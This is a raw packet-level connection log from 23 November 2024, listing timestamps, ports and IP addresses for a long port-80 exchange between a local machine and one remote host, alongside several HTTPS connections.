Nov 23, 2024 05:02:49.434992075 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.435786009 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.435864925 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.436614990 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.436660051 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.436757088 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.436790943 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.436799049 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.436856985 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.437470913 CET	443	49868	152.195.19.97	192.168.2.6
Nov 23, 2024 05:02:49.437745094 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.437777996 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.437803030 CET	49868	443	192.168.2.6	152.195.19.97
Nov 23, 2024 05:02:49.437822104 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.437835932 CET	443	49868	152.195.19.97	192.168.2.6
Nov 23, 2024 05:02:49.438704014 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.438776970 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.438858032 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.438909054 CET	443	49868	152.195.19.97	192.168.2.6
Nov 23, 2024 05:02:49.438961983 CET	49868	443	192.168.2.6	152.195.19.97
Nov 23, 2024 05:02:49.439295053 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.439627886 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.439678907 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.439687967 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.439748049 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.439934015 CET	49868	443	192.168.2.6	152.195.19.97
Nov 23, 2024 05:02:49.440015078 CET	443	49868	152.195.19.97	192.168.2.6
Nov 23, 2024 05:02:49.440151930 CET	49868	443	192.168.2.6	152.195.19.97
Nov 23, 2024 05:02:49.440165043 CET	443	49868	152.195.19.97	192.168.2.6
Nov 23, 2024 05:02:49.440561056 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.440618038 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.441550970 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.441585064 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.441612005 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.441620111 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.441625118 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.441767931 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.441772938 CET	49870	443	192.168.2.6	13.107.21.237
Nov 23, 2024 05:02:49.441792011 CET	443	49870	13.107.21.237	192.168.2.6
Nov 23, 2024 05:02:49.442459106 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.442509890 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.442512989 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.442560911 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.443485975 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.443521976 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.443543911 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.443555117 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.444386005 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.444448948 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.446199894 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.446259022 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.473189116 CET	49872	443	192.168.2.6	23.209.72.21
Nov 23, 2024 05:02:49.473200083 CET	443	49872	23.209.72.21	192.168.2.6
Nov 23, 2024 05:02:49.489036083 CET	49871	443	192.168.2.6	20.110.205.119
Nov 23, 2024 05:02:49.489044905 CET	443	49871	20.110.205.119	192.168.2.6
Nov 23, 2024 05:02:49.489053965 CET	49870	443	192.168.2.6	13.107.21.237
Nov 23, 2024 05:02:49.489068031 CET	49868	443	192.168.2.6	152.195.19.97
Nov 23, 2024 05:02:49.519421101 CET	49872	443	192.168.2.6	23.209.72.21
Nov 23, 2024 05:02:49.541318893 CET	49871	443	192.168.2.6	20.110.205.119
Nov 23, 2024 05:02:49.592125893 CET	443	49859	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.592189074 CET	443	49859	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.592401981 CET	49859	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.592427969 CET	49859	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.592427969 CET	49859	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.592441082 CET	443	49859	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.592451096 CET	443	49859	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.593873978 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.593924999 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.593951941 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.593972921 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.594208002 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.594259977 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.594388962 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.594434023 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.594443083 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.594543934 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.595359087 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.595422029 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.595586061 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.595629930 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.596127033 CET	49877	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.596175909 CET	443	49877	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.596285105 CET	49877	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.596373081 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.596385956 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.596400976 CET	49877	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.596407890 CET	443	49877	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.596421957 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.596438885 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.597274065 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.597322941 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.598272085 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.598284006 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.598295927 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.598335981 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.598375082 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.599234104 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.599246025 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.599288940 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.600136042 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.600222111 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.600254059 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.600364923 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.601103067 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.601114988 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.601237059 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.602041006 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.602096081 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.602152109 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.602207899 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.602997065 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.603060007 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.603403091 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.603471041 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.603928089 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.603987932 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.604053974 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.604188919 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.604881048 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.604945898 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.605875969 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.605887890 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.605900049 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.605940104 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.605976105 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.606868982 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.606920958 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.607172012 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.607222080 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.607752085 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.607810974 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.608378887 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.608527899 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.609376907 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.609390974 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.609420061 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.609452009 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.609699965 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.609713078 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.609766960 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.610687017 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.610698938 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.610758066 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.611560106 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.611645937 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.612617016 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.612629890 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.612642050 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.612675905 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.612708092 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.613533020 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.613545895 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.613599062 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.614423037 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.614593029 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.614825010 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.614872932 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.615655899 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.615669012 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.615725040 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.616322994 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.616370916 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.616630077 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.616684914 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.617302895 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.617316008 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.617367029 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.618288994 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.618300915 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.618352890 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.619184971 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.619230986 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.619297981 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.619344950 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.620146036 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.620331049 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.621144056 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.621155977 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.621169090 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.621210098 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.621244907 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.622119904 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.622170925 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.622183084 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.622220993 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.623060942 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.623074055 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.623115063 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.624002934 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.624015093 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.624064922 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.624954939 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.624968052 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.625020027 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.625900984 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.625915051 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.625962019 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.626816988 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.626882076 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.627218962 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.627784014 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.627834082 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.628750086 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.628762007 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.628772974 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.628813982 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.628859043 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.629678011 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.629745960 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.630207062 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.630265951 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.630676031 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.630687952 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.630733967 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.630772114 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.631623030 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.631635904 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.631685019 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.632555008 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.632630110 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.632950068 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.632994890 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.633483887 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.633543015 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.634219885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.634278059 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.634470940 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.634483099 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.634517908 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.635404110 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.635454893 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.635552883 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.635656118 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.636383057 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.636426926 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.636497021 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.636555910 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.637368917 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.637379885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.637419939 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.638303995 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.638315916 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.638348103 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.638364077 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.639589071 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.639600992 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.639637947 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.639657021 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.640172005 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.640212059 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.641187906 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.641199112 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.641210079 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.641244888 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.641275883 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.642119884 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.642132998 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.642178059 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.643050909 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.643102884 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.643243074 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.643318892 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.691273928 CET	443	49861	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.691478014 CET	443	49861	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.691548109 CET	49861	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.691596985 CET	49861	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.691596985 CET	49861	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.691617966 CET	443	49861	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.691631079 CET	443	49861	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.692799091 CET	443	49860	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.692861080 CET	443	49860	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.693281889 CET	49860	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.693305969 CET	49860	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.693322897 CET	443	49860	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.693331957 CET	49860	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.693341970 CET	443	49860	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.694976091 CET	49878	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.695070982 CET	443	49878	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.695331097 CET	49878	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.695465088 CET	49878	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.695489883 CET	443	49878	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.696645975 CET	49879	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.696681976 CET	443	49879	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.696758032 CET	49879	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.696938992 CET	49879	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.696949005 CET	443	49879	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.706665039 CET	443	49867	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.706731081 CET	443	49867	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.706845999 CET	49867	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.706877947 CET	49867	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.706893921 CET	443	49867	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.706907034 CET	49867	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.706918955 CET	443	49867	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.709119081 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.709225893 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.709295988 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.709440947 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.709470987 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.711721897 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.711740017 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.711745977 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.711783886 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.711800098 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.711817980 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.711839914 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.711872101 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.711884975 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.711884975 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.711884975 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.711906910 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.789370060 CET	443	49862	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.789443970 CET	443	49862	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.789536953 CET	49862	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.789664984 CET	49862	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.789685011 CET	443	49862	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.789695024 CET	49862	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.789700031 CET	443	49862	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.793246031 CET	443	49874	23.57.90.144	192.168.2.6
Nov 23, 2024 05:02:49.793467045 CET	49874	443	192.168.2.6	23.57.90.144
Nov 23, 2024 05:02:49.793479919 CET	443	49874	23.57.90.144	192.168.2.6
Nov 23, 2024 05:02:49.793636084 CET	49881	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.793670893 CET	443	49881	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.794141054 CET	49881	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.794899940 CET	49881	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.794914007 CET	443	49881	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.794935942 CET	443	49874	23.57.90.144	192.168.2.6
Nov 23, 2024 05:02:49.794996023 CET	49874	443	192.168.2.6	23.57.90.144
Nov 23, 2024 05:02:49.795022011 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.795084000 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.795093060 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.795129061 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.795536995 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.795589924 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.795701027 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.795739889 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.796401024 CET	49874	443	192.168.2.6	23.57.90.144
Nov 23, 2024 05:02:49.796454906 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.796494961 CET	443	49874	23.57.90.144	192.168.2.6
Nov 23, 2024 05:02:49.796561003 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.796634912 CET	80	49819	185.215.113.206	192.168.2.6
